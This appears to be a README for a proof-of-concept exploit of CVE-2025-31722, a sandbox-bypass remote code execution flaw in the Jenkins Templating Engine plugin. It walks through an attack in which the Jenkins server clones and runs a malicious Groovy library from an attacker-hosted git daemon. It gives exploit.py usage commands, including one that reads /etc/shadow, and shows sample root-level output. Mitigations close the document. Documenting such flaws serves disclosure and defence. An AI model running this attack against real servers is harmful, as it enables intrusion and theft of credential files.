CVE-2025-31722 — Jenkins Templating Engine RCE

For educational and authorized security research purposes only.

Description

Sandbox bypass vulnerability in the Jenkins Templating Engine (JTE) plugin <= 2.5.3 that allows a low-privileged user to execute arbitrary code on the Jenkins server.

The flaw occurs because JTE loads libraries from an external git repository defined in a folder-level GovernanceTier configuration and executes the steps from those libraries outside the Groovy sandbox, regardless of the privilege level of the user who created the job.

CVSS: 8.8 (High)
Type: Sandbox Bypass → RCE
Affected component: pipeline-templating-engine plugin ≤ 2.5.3
Fixed version: 2.5.4+

Attack Flow

Attacker (Kali)                          Jenkins Server
───────────────                          ──────────────
1. Creates git repo with evil.groovy
2. Starts git daemon on :9418
3. Creates folder in Jenkins        →    Folder with GovernanceTier
   pointing to git://KALI:9418/…         pointing to attacker's repo
4. Creates job with AdHoc template  →    Job calls evil()
5. Triggers build                   →    JTE clones repo from Kali
                                         Executes evil() outside sandbox
                                    ←    RCE as Jenkins user

Requirements

Jenkins server (target)

• Jenkins with Templating Engine 2.5.3 plugin installed
• Plugins: cloudbees-folder, git, workflow-aggregator
• CSRF disabled
• User attacker with permissions: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILD
• Built-In node online with at least 1 executor
• Outbound network connectivity from the server to the attacker's IP on port 9418

Attacker machine (Kali)

• Python 3.8+
• git installed
• Port 9418 reachable from the Jenkins server
• Python library: requests

pip install requests

Lab Setup

The setup installed on a Debian/Ubuntu server had installed Jenkins, configured users, permissions, and required plugins. It does not create any malicious content — that is handled exclusively by the PoC.

Usage

Basic exploitation

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP>

Custom command

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cmd "cat /etc/shadow"

Cleanup

python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cleanup

Parameters

How the PoC Works

1. setup_repo() — Creates ~/jte-exploit/evil-lib/steps/evil.groovy on Kali with the command to execute
2. start_git_daemon() — Starts git daemon on Kali on port 9418
3. create_folder() — Creates a folder in Jenkins with a GovernanceTier pointing to git://KALI:9418/jte-exploit
4. create_job() — Creates a job with AdHocTemplateFlowDefinition that declares evil-lib and calls evil()
5. trigger_and_wait() — Triggers the build and waits for the result
6. print_output() — Displays the console output with the RCE result

The git daemon stays alive throughout the entire build cycle and is terminated automatically once the build completes.

Expected Output

=================================================================
  CVE-2025-31722 — Jenkins Templating Engine RCE
  Target  : http://10.211.55.10:8080
  Git host: 10.211.55.7
  Command : id && hostname && cat /etc/passwd
=================================================================

[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued

=================================================================
  CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================

Mitigation

• Update the Templating Engine plugin to version 2.5.4 or later
• Restrict Item/CREATE and Item/CONFIGURE permissions to trusted users only
• Enable CSRF protection in Jenkins
• Audit folders with GovernanceTier configurations pointing to external repositories

References

• Jenkins Security Advisory
• JTE Plugin GitHub

Legal disclaimer: This PoC is intended solely for educational purposes and testing in controlled environments. Using it against systems without explicit authorization is illegal.